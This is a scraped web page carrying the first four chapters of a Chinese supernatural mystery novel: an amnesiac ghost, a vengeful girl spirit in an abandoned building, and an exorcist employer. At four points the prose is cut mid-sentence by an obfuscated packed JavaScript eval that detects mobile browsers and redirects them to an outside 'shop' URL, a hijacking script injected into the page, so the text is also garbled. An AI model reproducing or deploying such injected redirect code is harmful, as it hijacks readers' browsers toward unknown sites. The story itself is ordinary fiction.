《追查本人死因中,勿扰》 1. 我是谁01 “8.13杀人案件嫌犯至今仍然外逃,以下是嫌疑人照片及详细信息,请获得线索的居民积极举报……” “近日,为缓解社会公众对于驱灵事务的大量需求,驱除异常灵能力生物资源协调中心已全面扩建,力求年底达到全面覆盖……” “进去之后要小心一些,虽然有残灵的气息,但可怕的未必是残灵……” 抑扬顿挫的新闻播报和毫无感情的叮嘱在我心头一闪而过,空空如也的大脑像是被洗过一样干净,只剩下不断回荡的几句话——还未必有用。 我睁开眼,视野内浑浊一片。 潮湿气息扑面而来,混着灰尘和水泥味道,空气质量着实堪忧。深灰色的长方体柱子在压抑的楼内水泥地上排列整齐,连着同样色泽的天花板,将我禁锢其中。 一片许久没有人来过的烂尾楼,我在心里做出这样的判断。 为什么会出现在这里? 我认真回忆,终于发现自己全无相关印象。 不如说,我脑子里其实什么记忆都没有,干净如同白纸。 但奇怪的是,面对这样的糟糕情况,我居然还十分冷静,好像如此境况已经经历过许多次,吃饭喝水一样的镇定。 这让我不由得对刚刚认识的自己产生了一丝敬佩。 很快,我从地上站了起来,朝四处望去。 外面大概是黑夜,窗外只渗进来些许融融的月光,不太亮,也不能照顾到大部分面积。毕竟这栋楼整体看起来很大,虽然没什么隔断,但内里的部分还是黑得近乎不见五指。 隐约可辨的地面上其实也没什么可以辨认的,除了尘土别无它物。 缺少光线加重了不安全感,我试图透过黑暗去搜索这里可能存在的不安全因素,可惜无甚成果。 视野之内,只有楼梯分外显眼。 刚才从窗外看,这里至少有四五层的高度,周围也具是未完成的建筑雏形。想从窗户跳下去显然是故意找死,此刻这个楼梯的存在对我而言意义非凡。 我迈出一步,脚步声连同墙壁间的回音在寂静处格外响亮。 如果这栋房子里真的有人,现在多半已经能够听到我的脚步声,并做出反应了。 虽然这是我的一小步,却实在是别人发现我的一大步。 是的。直到我迈出脚步,才终于意识到一个可能性:这栋楼里很可能还有其他人。 不如说这猜测再合理不过。如果这栋楼里没有人,我又为什么会出现在这里呢? 总不会失忆前的我还有某种特殊爱好,喜欢孤身一人口袋空空来到这荒僻之地大睡一觉——并且意外失忆。 刚刚醒来时,我已经快速检查过周身的衣服。平平无奇的外套长裤,结合此时的温度,可以说兼具舒适和方便,除了这些,什么也没有。 一个不算落魄的年轻女性在这种危险环境中醒来,身上没有任何物品,这本身就指向了一些不妙的猜测。 我一边朝楼梯走去,一边在心中暗自思索着,但除此之外,似乎也得不到什么有用结论了。 关于我残存的回忆么,寥寥几句话,除了明显的新闻腔调,只有一段男人声音像是对我说出的。 听声音,年纪应该不算大,缺少语气,令我难以把握其性格。除此之外,再没什么靠谱线索。 什么残灵的气息啊,里面未必有残灵啊,都是让人似懂非懂的话。 残灵是什么东西? 鬼? 这样理解的话……我现在的处境似乎更危险了。 做出此类悲观猜测时,我已经踩到了下楼台阶。 烂尾楼的楼梯连扶手也无,月光到达不了这样深的地方,楼梯朝下整个昏黑一片,酝酿出漆黑的洞窟,正要通向冰冷诡谲的某处。 我屏住呼吸,认真下楼,数到十三阶时,脚尖终于踩到楼梯中间的转折处。 偏偏是这个数字,我一边吐槽,一边顺着楼梯转身,抬眼看向下一段台阶。 脚步就这样硬生生停在当下。 我的面前,一段宽阔的肩背正僵硬呆滞地横亘在楼梯间—— 不算富裕的月光只在楼梯中留出半段朦胧,这堵身体将为数不多的光线拢住,仿佛一尊了无生气的黑铁雕像,掩体之下皆是阴影,冰冷沉重。 男人背对我坐在昏暗的楼梯上,斜靠楼梯,僵硬的躯体弯折出人类无法达成的姿势。 他就在那里,一动不动。 这一瞬间,我不觉也头皮发麻。 这男人明显没有呼吸声,愈加清晰的视野中,我看到了他半湿润半凝固的衬衫,液体已经浸透大半,仿佛本来就穿着一件黑衣服。 那是被血染上的。 我又往前走了几阶,紧接着看到了他的脸,和插着匕首的胸口。 那是一张三十多岁的男性面孔,带着惊讶,大概还有点愤怒。近乎没有的眉毛下是半阂的眼,露出在黑暗中十分明显的小半眼白,勾着线条复杂的血丝,莹莹的好像能够反光。 视线下移,我看到一把匕首。匕首上的血迹已经凝固,稳固地竖立在男人的胸口。 我伸出手在他鼻子前摸了摸,确认他确实半点儿呼吸也无了。 或许会有人觉得我的行为多余,即使他没死,现在连自保都困难的我难道还能对他施以援手吗? 不,我的用意并不在此。 沉默两秒,我手掌下移,握住了匕首的刀柄,手指连同掌心一起发力,左右挪动着将它拔了出来。 匕首的刀刃上还残存着粘稠的黑色浆液,我犹豫了一下,强忍住用男人衣裤将刀刃擦干净的冲动,随便在台阶上刮擦两下,将匕首握在了手中,攥了攥,找了个适合发力的拿法。 这样新鲜的尸体,意味着这里还存在着一个制造尸体的存在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150821|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那个杀死男人的存在多半还在这栋楼里。 这种境地下,我急需一把可以自卫的武器。 至于试探鼻息,是担心这一拔引起什么大出血,断送男人的最后一丝活路。而匕首上是否还留存着凶犯指纹之类,已经不是我目前需要考虑的事情了。 我最后看了看男人的样子,拿着匕首,继续沿楼梯向下走去。 又向下走了大概2层,我站在楼梯的断层处,再次沉默了。 眼前的楼梯似乎遭到人为破坏,从中间彻底断裂,下方落脚处成了一片残垣废墟。即使想直接跳下去,恐怕也会因为地面不平而摔断腿脚。 在这样荒无人烟的地方摔断腿脚,可就真的出不去了。 这可难办了……我心中盘桓过几种继续向下的办法,无非是利用窗户一类,或者继续在大楼中寻找可以帮助我下楼的东西。 但真的有必要继续行动吗?我对此抱有怀疑。 在这样安静又黑暗的夜晚持续活动,单是脚步声就足以让楼里的其他存在盯上我。 或许我应该找个安静的地方,等待天亮,等光线好起来,事情或许就会出现转机。 另一点就是,我发现自己脑中的记忆也在不断地恢复着,像是有虫子沙沙咬开桑叶,将遮盖回忆的障碍逐渐蚕食。 脑中混乱的声音逐渐转化为影像,一个足以放在手中的屏幕在播放着最初的新闻,而拿着手机的,则是一个看起来二十六七,神色阴郁、相貌隽秀的青年男人。 那句有关于残灵的叮嘱也是经他口中说出。 和我对声音的印象一致,这男人看上去也没什么表情。 不过这不是重点。重点是,我仍然回忆不起来与之相关的更多信息,比如男人的名字、我的名字、我出现在这里是因为什么。 但这是个好的开端,至少说明我的回忆在逐渐恢复。或许等到天亮,我就可以想起更多东西,甚至是能让我从这里逃出去的信息。 打定主意,我转身。 恰好对上一双亮晶晶的黑色眸子。 眸子似乎等待我良久,看到我转身看向她,眨也没眨。 年纪尚轻的女孩站在立柱旁,两眼直直地看着站在楼梯上的我,她穿着露肩的背心,胳膊在夜色里白得引人注目。 她的手指插进衣角,紧紧拽起,似乎有些无措,良久才发出细若蚊蝇的声音。 “姐姐,你是坏人吗?” 我是坏人吗? 这的确是个问题。 我再次回顾自己一贫如洗的大脑,意识到想要确定自己是个好人,实在是没有希望。 于是我露出温柔可亲的笑容,十分坚定地朝女孩道:“别害怕,我是好人。” “……”女孩后退一步,狐疑地盯着我手上沾了血的匕首。 “这是什么?” 我:“……大自然的馈赠。” 2. 我是谁02 女孩看我的眼神更加奇怪。 我们距离并不远,足够她看清匕首上残留的血迹。 我开始后悔没有在尸体衣服上蹭干净匕首了。 “是这样的……”我清清嗓子,为自己狡辩。 “这是我捡到的,在一具尸体旁边。” “你知道吧,这个地方不太安全,我总得找点什么给自己防身。”我晓之以情动之以理。 女孩清亮的眼睛动了动,似乎我的解释有效,她放松了一点。 “你也见到尸体了?”她问。 我干笑。哈哈,瞧这话说的,“也”。 ——看来她也见过了。 其实我心里十分怀疑:我们两个见到的尸体,是否是同一具。 毕竟我见到的那具尸体十分的……新鲜,不像有人动过。 说不定这幢昏暗的烂尾楼里真的处处是惊喜,三步一尸体。 还没等我再问她尸体的具体样子,女孩再次发问。 “那你看到他们了吗?” 我扯扯嘴角:“他们?” “两个男人,拿着刀……”她的声线因为恐惧而颤抖,在这样的安静场所里显得分外明显。 “你的意思是,你看到了凶手?”我来了兴趣。 她摇了摇头:“没有……我没有看到杀人。” 手里拿着刀的未必就是凶手,我手里不正拿着一把杀人利器吗? 我尽力往好处想。 如果那两个男人不是凶手,那又是什么人?被害者?和我一样被莫名其妙丢在烂尾楼里的人吗? “那他们都是什么年纪,什么样子,你看清楚了么?” “我离得很远,没有完全看清……两个人身高差不多。哦,” 女孩突然想起什么,“其中一个人,拿着刀的那个人,是光头。” 这句话好像触动了我的某根神经,为数不多的记忆迅速对号入座。 我恍然大悟地开始描述:“他是不是差不多三十岁年纪,体型比较宽大?” 女孩嗯嗯点头。 我告诉她结论:“他就是我见到的尸体。” “……” 场面陷入一种更加难以言喻的沉默,我和女孩面面相觑。 “你在哪里看到的他们?”我问。 “就在这一层……之后他们往楼上去了。” 这就对了,他们沿着楼梯上到四五层的时候,其中一个人杀掉了另一个。 “这栋楼,只有一条楼梯吗?”明知没有希望,我依然问了一遍。 “嗯。”女孩点头。 “也就是说,那个杀人者现在还在楼上。” 现在我和女孩在第三层的位置,而我是从第五层下来……如果凶犯恰好在第四层的话,说不定已经听到了我下楼梯的脚步声。 我感到后背有些发凉。 上前两步,我突然抓住女孩的胳膊。 “在这里说话,很容易被凶犯听到。”我压低声音,拉着女孩往楼层的内部走去。 女孩脸色茫然,但似乎对我有了基础的信任,没有挣扎,乖乖跟着我走。 远离楼梯30米开外,我才放开女孩,两个人行动确实比一个人要更有安全感,我们两人不知不觉已经走到了楼层的另外一侧。 这栋楼确实只有一道楼梯,另一段应该拥有楼梯的地方,因为还没开始建造,只留下了长长的正方体空白。 我走到这段危险的空白旁边,往下看去,还没翻修好的水泥地泛着坚硬冰冷的光。因为这一片缺少屋顶,月光直直打进来,能见度出乎意料的高。 我朝上看去,第一次数清了这栋楼的楼层。 只有六层。 也就是说,凶犯要么在第六层,要么就在我和女孩紧邻的第四层。 我疑心这片空白间会突然冒出凶手面孔,变成十分经典的恐怖电影镜头,于是匆匆退开。 远离两段与上层连接处,我才将自己的猜测讲给了女孩。 “为什么你觉得只有一个人?”女孩看着我,“说不定不是那两个人自相残杀,而是其他人杀了那两个中的一个?” “也有这种可能,”我笑了笑,“但事情总还是要乐观一点看,如果还有两个危险人物,那不是更危险吗?” 女孩沉默几秒,又问:“你怎么知道两个人都是危险人物?” “你不是见到了两个人吗?”我反问她,“另外一个是不是更年轻一点,二十六岁,个子很高,脸型偏长?” 女孩的眼神更加古怪:“你怎么知道?” 我摊开手:“因为我见过他们两个的通缉新闻,两位都是抢劫大案的嫌疑人。” 经过这些时间,我能回忆起来的东西已经越来越多,手机里播放的新闻连同画面都清晰起来。 女孩下意识将身体贴住墙壁,我看到她的嘴唇在微微颤抖。 我伸出手摸了摸她在夜色里也发丝冰冷的脑袋,试图安慰她:“话说,我叫姚芊,你叫什么?” “我叫石娅。”她说。 “石娅,你是怎么来到这里的?” 女孩摇摇头:“我也不知道……我正在家里睡觉,醒来就在这个地方了。” “和我差不多。”我说。 “醒来之后,我就一直在楼里走动。我们见到的不是同一具尸体,我是在6楼见到尸体的。”她继续道,“那个人是被勒死的,我觉得很害怕,就从6层跑到这里来了。” “你去六楼了?”我有点惊讶。 “嗯。” 根据我刚才的推测,凶犯目前在六楼的可能性最高。 不过,石娅发现尸体是几十分钟前的事情了,或许那时候凶犯还在其他楼层。 那么问题来了,她一路从6层跑到最下面,凶犯是不是已经听到了脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150822|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声? 那是必然的吧。 既然听到了脚步声,却没有来找她。 说明凶犯并不想杀掉楼里的人? 还是说,那个时候凶犯正忙着做其他事情? 比如遇到了其他人,正在杀人,或者被杀。 我思索着,眼睛扫过石娅的背包。 说实话,我一直很在意里面有什么,毕竟背包看起来鼓鼓囊囊,并不像空的。包的样子看起来和对方也不相符,女孩不过初中生年龄,个头只到我鼻尖,这个包却完全是成年人款式,灰黑色的旅游包,边角磨得粗糙起毛,像是用过很长时间。 我用眼神示意背包:“这是你醒来时就背着的吗?” 石娅把书包从肩上拿下来:“不是,这是我捡的,从尸体上捡的。” 我:“……” 很好。 她和我显然是一路人,善于从尸体上拣点什么。 我期待地看着她打开背包,里面是一团长长的麻绳。 我回想起石娅的描述,她见到的尸体是被勒死的。 ——这麻绳不会也是凶器吧? 石娅说:“这是我从那个人脖子上取下来的,包也是他的,但是是空的。” “还真是席卷一空啊。”我感慨,“但你拿绳子干什么?” “我当时想,能不能用绳子落到一楼去。”石娅露出略微失望的神色,“可是我在这一层看了很久,都没有找到可以缠绳子的地方。” 确实,我环顾四周,楼层光秃秃一片,唯一可能缠上绳子的地方只有水泥柱子。但即便是离窗口最近的房柱也有七八米距离,绳子根本不够长。 我思索片刻,道:“你把绳子缠在我身上吧。你比我轻很多,我拉得住你。” 石娅犹豫了一下,答应了。 “那我下去之后立刻找人来救你。”她跟我保证。 我们说做就做,绳子在我们两人身上各缠了两圈,比划绳子剩余的长度,应该也足够落到地面。她爬上窗台,最后看着我:“那我就下去了。” “小心一点。”我说。 她转过头,试图挪动重心从窗口落下,然后,她的动作好像就定在了这里。良久,在我疑惑的注视下,她转过头,半边脸淋着月光,眸色惊恐。 “姐姐,”她声音细小,压抑着恐惧。 “外面有东西,出不去。” 我让她回来,我站到窗前,用力伸出手朝外探去。 一层透明、坚硬、不容置疑的力量限制住了我的手,隔开了我和大楼之外。我这才明白了石娅的意思,她确实无法从窗口离开。 直到这时,我才想起了一点。 如果这栋楼的楼梯真的都断裂了,上不去也下不来,那我和石娅等人又是怎么到上面来的? 好像有答案了,我心道。 ——原来这从一开始就是个灵异剧本啊! 3. 我是谁03 窗口行不通,我和石娅又试图从楼梯口那里下去,但也被同样的力量阻隔住了。 我伸手解着身上的绳子,粗糙长满毛刺的麻绳深了一段颜色,我借着月光仔细看了看,绳子上洇着血色的手印。 石娅从六楼下来时没有看到尸体,说明她看到的尸体死亡时间早于我看到的——也就是说这个手印是出自于另一个人的血液,在石娅发现的尸体之前还有死人。 我的猜测真是准确,这个烂尾楼里果然不止两具尸体。 现下也没什么其他办法,我和石娅坐在靠墙角落,一边注意着周边动静,一边小声聊天,寄希望于天亮能带来什么新的转机。 我逐渐回想起了很多东西,但就整个人生而言仍然是沧海一粟,只能单方面听女孩讲述她的生活。 石娅说她有一个完整的家庭,包括一个妈妈和一个人渣。 小学时候,每次人渣殴打妈妈,石娅都会报警。但似乎警察也不会接管这些“家务事”,一次次的希望化为失望后,石娅便不再尝试求助。 来到这里之前,冲突又一次爆发了。漫长的殴打声和哭喊声结束,卧室里的石娅也终于累了。 她就这么躺在床上睡过去,醒来便看到了灰色的水泥墙。 “不知道妈妈有没有发现我不见了。” 石娅怔怔地看着地上方形的月光,自言自语,“如果我就此消失,她说不定就离婚了,她总说不离婚是为了我。” 我安慰她:“没事,那只是她找的借口。” “这种人,就算你没了她也不会离婚的,放心。” “……?” 石娅扭过头看我,视线直直落在我身上,欲言又止。 “那个,”我为自己找补,“我的意思是,你不一定要自暴自弃,想着消失啊什么的。” 石娅叹了口气:“可是……” 她的声音被我们头顶传来的古怪人声打断。 一开始是气音一样的哭泣,求饶的低语,随后声调落下,压抑成沉重的哭嚎,像是从胸腔发出来似的。 石娅的表情僵硬在脸上。 “这是妈妈的声音,”她的呼吸和声音一起变得急促,“每次都是这样,每次都是这种声音……” 这样说着,她茫然地站起身,似乎失去对身体的控制权,想要朝楼上走去。 我伸出手,拽住她的手臂。 女孩的手臂纤细,冰冷,这样被我一拽,她整个人都停了下来,无法前进。 她就像她看起来那样的柔软无力。 “别去看了吧?”我问她的意见。 “你的妈妈其实早就已经死了,不是么?” 女孩突然扭回头,看向我的眼神冰冷,写着不可置信。 我语气平静地继续道:“8月13号,那天父亲又打了你的妈妈,不知道是出于什么原因,那次他下手比以往都重,你睡醒一觉去看妈妈,发现她倒在地上一动不动,已经死了。” “然后你从仓储室里找出了麻绳,缠在了你那个对一切浑然不知、醉后只想大睡一觉的父亲脖颈上。” 我一边叙述着这些,一边站起来,松开石娅的手臂。 “你勒死了他。” “醒醒吧,”我叹气,“现在天气已经这么凉快,夏天早就过去了,你妈妈也早已经火化了。” 明明已经是穿着外套的深秋季节,女孩却仍然是夏日装束。 听到这句话,短袖露肩的石娅似乎也意识到了天气的寒冷,左手搭在右手的上臂,朝我露出讶异神色。 “你在说什么?妈妈怎么会死?” “你真的不记得了?”我反问她。 石娅转过脸,不再理会我,径直朝着楼上冲去。 我跟在她身后,转过一层楼梯,哭喊声更加清晰,越过她的背影,我看到了一个在地上扭曲翻滚的男人。 哭喊在楼层里荡起回声。 ——这里没有发出喊声的女人。只有哭喊和男人。 这里当然不会有石娅的妈妈,也不会有石娅的父亲——在地上翻滚的男人是那个长脸男人,也就是我之前和石娅提及过的,抢劫通缉犯的其中之一。 他们一共三个人,9月初在本市流窜作案四起,最后一次被监控捕捉到,是出现在烂尾楼的附近。 我已经全部回想起来了,我是谁,我为什么会出现在这里。 进入这里之前,我都拿到了什么资料。 “原来是这样,你真的忘记了。”我朝房间的四周看去,“这里是你筑造出来的‘灵域’,当然要遵守的你的规则。只要进入这里,都会受到腐蚀,失去自己过往一个多月的回忆。 “这是你为自己设定的规则:你想忘记母亲死去、你亲手杀死父亲的记忆。” “而每次当有人类闯进来,如果是和你父亲年纪相差不多的男人,你就会把他当作那个害死你妈妈的人,尔后杀死他。” 我叹息:“这一个月来,烂尾楼方圆一里之内已经出现三具被勒死的尸体了。因为你不想让尸体留在楼里,实在是造成了很多麻烦。如果不是这样,估计要更长时间才会有人发现古怪吧。” 官方人员找到姚千也会更晚。 “总之,”我说,“既然我已经回忆起来,你也应该意识到了吧,这里的规则正在遭到侵蚀……一切的真相,你应该都已经想起来了。” 石娅终于转过身,面朝着我,她低下头,像个做错事的孩子,天真年幼的脸上露出悲伤可怜的神色。 “既然你已经知道这么多,又为什么要进来这里?”她问。 “毕竟那几个逃犯还在这里面。”我无奈解释,“虽然他们出来恐怕也要判死刑,但总还是得坚持人道主义原则,救救试试吧……” 其实我也不愿意进来,但毕竟这是客户的要求,不好拒绝。 总的来说,还算是活了一个,我看了看那个在地上因为灵域规则而失去抵抗能力的男人。 “不过有一点,”我奇怪道,“你杀人不都是用绳子吗,为什么四楼那个男人是被匕首捅死的?” “那个人不是我杀的。”石娅脸上的痛苦神色消失,冷冷斜睨了地上的男人一眼,“是被他杀掉的吧。” 她说:“我从6楼勒死那个人下来后,没有再上去。” 我恍然大悟。 那三个人应该是被分开放置在了烂尾楼里,其中两人醒来汇合后,看到了被绳子勒死的第三人。两相猜忌,彼此怀疑是对方所杀,于是产生了内讧。 这可比被残灵杀掉可悲多了,我忍不住幸灾乐祸。 石娅看着我脸上的笑容:“你好平静,不怕我现在杀了你吗?” “你是不是没有认真听我说话?”我反问她,“不是跟你说过了吗,我也失去了记忆。” 既然那些男人彼此下手,可见是知道一起犯案的事情,他们作为人类并没有失去记忆——由此可知,只有残灵才会失去近期的记忆。 “我也是残灵。”我说道。 “你没有发现吗?在你的灵域之中,残灵也会和你一样表现出人类的状态。” “而且我那个老板也和我保证来着,说在此之前进过烂尾楼的女人都只是失去记忆被丢在外面,我进来也肯定没事……”说到这里,我面露不爽。 “你不是确实没事吗?” 语气寡淡的男声从楼梯处响起,也不知这家伙是怎么从截断的楼梯上来的,总之,我的视野里,穿着灰色风衣的男人从楼梯下缓缓走了上来。 “就在昨天,你还夸我是好人来着。” 男人声音冷淡,缺乏感情色彩,只带出些困倦懒散的调子,仿佛许多年没有睡好过,此种状态已经刻进骨髓。 然而神态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150823|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中又透出不容置喙的淡定,眼神落在石娅身上时,连我都察觉出女孩的紧张。 何况此人还长着一张堪称隽美非常的脸,线条简单的风衣也能穿出不同凡响的气势。如此一叠加,确实整合出了些许绝世高人的味道。 姚千被客户称为驱灵界的大师级人物,肯定也有形象因素,我腹诽。 “好了,你现在应该也察觉到了。”姚千垂着眼,不甚在意的样子,“你的灵域已经被破坏了,我看你除了这个灵域之外,应该也没什么其他趁手的手段吧?就连杀人,也是粗俗的人类方式。” 他语气淡淡,“我差点以为里面有人类。” 石娅任由他说,表情不卑不亢,似乎也没有反抗的意思。 姚千周身灵力渐起,似乎是准备动手,我却突然叫住了他。 “等一下,你是准备拿她怎么办?”没想到进程居然如此之快,我突然有种不好预感。 姚千看我一眼,由于光线原因,我不能完全看清他的神态,只听到他轻描淡写道:“她成为残灵之前已经死了,只是消除残灵而已。” “不是,嘶,”我上前一些,“石娅也挺可怜的,她觉得她杀的都是害死她母亲的凶手……也就是说她主观上没有害人的意思。既然你已经把她的灵域破坏了,她也就没有害人的能力了。” “什么意思?”姚千垂眼看我,这会儿我终于看清他纤长睫毛。 他比我高半头,虽然不至于要低下头看我,但这个人总是一副什么都不在意的样子,在这种情况下更是令人不爽。 他一顿,仿佛听不出我的言外之意,语气轻缓些许、明知故问一样地道:“不会是同情她,想让我不杀她吧?” 我虽然心里是这个意思,但被这么一说,又哑口无言了。 “她是杀过人的。” 姚千的视线落回到石娅身上,淡淡道,“即便我不杀她,即便是失去了盘踞在烂尾楼里的这个灵域,她早晚也会去其他地方继续杀人的。” “这就是残灵。”姚千又看着我,声音不大,语气晦暗不明,“难道你是想让我像收留你一样,收留她,看管着她?” “不行吗?”我盯着他,“她是可以发展出灵域的残灵,就能力来说至少比我强吧?” 姚千听到这话,终于看了我一眼,眼神一如即往暗沉沉的,读不出什么意思。 “当然不行。”他轻轻笑了一声,仍然没什么表情,“你以为我是流浪小狗救助站吗?” “好了,”石娅终于语气不快地打断了我们两人。 “我也没想活。”她的声音依然细弱,只是相当不耐烦,“我本来就是自杀的,只不过忘掉了。” “你们以为活着是什么好事么?” 她看着我俩,反问道。 我终于意识到她死去的原因,无话可说。 她看看我,沉默一会儿,又道:“不过还是谢谢你,姐姐。” 她的语气温和了些。 她这样说话时,就好像又变回刚见面时,无害的需要我保护的孩子。 我扭过脸,转身离开了。 离开灵域,我便恢复成了残灵的灵体状态,不受重力控制,可以自由穿梭在普通物质之间。 不愿意看接下来的场面,我干脆躲回了烂尾楼附近的马路旁,蹲在那里默默等待,真的像一只流浪小狗。 救命,我反应过来,在心里尖叫,我才不是猫猫狗狗,是有灵魂有人格的啊! ……好吧,要说灵魂和人格,其实也没多少。 在烂尾楼里受到的影响已经消散殆尽,我彻底取回了自己方才遗失的全部回忆。 不多,原本就寥寥。 之前在烂尾楼里,我之所以会连名字都想不起来,是因为我身上的回忆本来就连一个月都够不上。 我原本就是一只失忆的残灵。 4. 我是谁04 我最开始作为残灵醒来,正值天气正炎热的时节。 我忘记了自己作为人类的一切记忆,但朦朦胧胧还记得一些类似于常识的东西——大概可以证明我确实是作为人类生活过的。 只是不知道我到底是怎么死的。我在最初的清醒的地方转悠许久,也没看到疑似我尸体的东西。后来我放弃了,开始流浪。 但作为一个残灵,流浪其实也相对无聊。 我虽然没什么特别的能力,但毕竟还是个残灵,在别人家随便住上几天,他们便会察觉到家里冷气森森,甚至还会有小孩子生病。 但住在荒野也不行,那哪里是住人的地方。 虽然我已经不是人……不是人也不能睡草地啊! 总之,我后来就选择去一些24h营业的网吧饭店或便利店寄宿,既有灯光还有人陪着,算是个不错的选择。只是不能总去一家,可能会影响别人的生意。 我就是在一家便利店遇到姚千的。 我见到他的时候,就觉得很不对劲。这人的眼神很明显地告诉我,他能看到我,他的眼神几乎是要黏在我身上,半点不加掩饰。 我怀疑他可能是被莫名其妙出现在便利店的残灵吓了一跳,但讲道理,我也被吓了一跳,这是我有记忆以来第一次遇到能看到我的人类。 甚至刚开始流浪寄住在别人家里时,那家人也请过一位所谓大师,那人差点儿都撞到我身上了,也没看见我,还是我自己识趣离开的。 总之就是,第一次和能看到自己的人类接触,我经验不足,失去了基本的防备之心。 就在我决定直接飘走时,青年叫住了我。 “你要去哪里?”他开口,声音不大,语气却稳定,好像笃定我会回答他一般。 不知什么力量驱动我,我转过身看他:“我……找个地方待着。” ……听起来好惨啊? 话说出口,我就有点后悔。这个人类会不会看轻我,觉得我是个没什么出息和理想的残灵? 果不其然,青年笑了一声,漂亮眉目舒展几分。 这人原本垂着眼,神情恹恹,即便如此,也能看出许多冷冽或者说不好惹的气势。这么浅浅一笑,神色突然和暖些许,让我这没见过的世面的残灵看得有点愣神。 堪比巨幅广告牌上的那些人吧,如果去掉眼下那个黑眼圈,我在心中评头论足。 这样想着,倒也没那么害怕了。 青年问我:“你在流浪?” 哈,真会概括。 我点头:“嗯。” 他沉默了一下,视线似乎落在我的脸上,片刻才道:“你不认识我吗?” 我摇头,你是什么人,总不能真是个明星吧。 他又沉默几秒,这人不说话时没什么表情,导致我无法判断他到底在想些什么。 “驱灵师。”他终于说出答案,又冷静地补充,“就是专门处理你这种存在的人。” “……哈。” 我扯出一个干笑,“打扰了。” 话音未落,我转身就飘,还没出两米距离,一股难以形容的力量就拦住了我。不同于任何我之前所感受过的力量,好像有什么正禁锢着我的整个灵体,让我无法逃离。 青年神色淡定地看着我费劲挣扎。 “行吧,反正我也不想活了。”挣扎十几秒无果,我自暴自弃地宣布放弃。 “没有意义的生活不值得过。”我补充哲学思考。 “你本来就没在活着。”他一本正经地纠正我。 我问他:“你不会觉得你很严谨吧?” 青年眨眨眼,像是没听到又或没听懂一般,不理会我的嘲讽:“所以,你现在没有地方可去了?” “然后呢?” “我可以勉为其难地收留你。”青年转过头,大概是知道我已经落入彀中,一点逃脱的可能性也无了,甚至还看向货架,看上去是开始挑选商品。 “怎么样?”他看也没看我。 我没料到会听到这种话:“为什么?” “……我恰好缺一个残灵打下手。”他道,“现在遇到了。” 我觉得有点不对劲:“这么随便吗?不用政审也不用查犯罪记录?” “那你杀过人没有?”他于是问。 “呃、也确实没有。”我有点尴尬,“不过之前在人家家里住久了,害这家小孩生病了,虽然不是大病,但也把这家人吓得够呛。” 他早有预料般地嗯了一声,目光还黏在商品上:“我觉得也是。” 我忍不住再次问他:“你以前有没有因为你说话不好听被人揍过?” 这人终于因为我的问题沉默了,我严重怀疑我是猜对了。 虽然对眼下情景并不满意,我还是答应了面前这个青年的要求。 刚才我们所在的位置接近角落,收银员并没有发现店里唯一一位顾客正对着空气说话。扫条形码时她还对姚千友善微笑,完全不知道这厮刚刚实施了绑架残灵的暴行。 跟着他步行回家,这人把名字也告诉我了,他叫姚千。 他甚至懒得问一句我的名字——好在我也不知道。 我本以为自己惨遭绑架,日子必定更加凄惨,没想到姚千竟然给我准备了一个房间。 “你晚上可以待在那个房间。”他指着客房,向我交代,“客厅也可以待着,屋子里除了我没有别人。” 他默了默,突然想起来似的又补充,“只有我的卧室不可以进,我设置了灵术在上面,未经允许随便进来会有危险。” 我点点头。 他又说:“你要是觉得无聊,我把那个没用过的电脑找出来给你玩吧。你应该可以用。” 竟然还有意外之喜,我看着他把储藏室里的电脑找出来,插上电源,心情突然好了不少。 “感觉你还挺不错的。”我说。 姚千正背对着我,一时间没说话,好像是神经传导速度过于缓慢,片刻后才淡淡回道:“只是员工福利,有事会让你上的。” “……” 果然,第二天就有人找上门来,请姚千出手解决烂尾楼里的疑似残灵。 姚千也兑现了他的诺言,一有事就让我打头阵,将天真善良的我塞进了烂尾楼。 远处地平线盈起清亮的光,水彩一样地染白夜色。不知不觉一夜过去,大概快要凌晨5点了。 我忧伤地飘荡在马路旁,看到标志着政府的车子停在我身边不远处,下来几个人,拎着各类装备,大概是收到姚千的消息,过来处理后续。 不过他们都看不到我,看不到一个他们欲除之而后快的残灵正坐在他们不远处,默默观察着他们的举动。 很快,姚千也从烂尾楼里走了出来,招招手,让我跟上他。 虽然我没有实体,但附在物体上的我也可以“乘坐”交通工具。我看着姚千走到他的车里,打开车门坐上驾驶座,我也透过玻璃钻进去,附在了副驾驶座椅上。 “直接回去吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 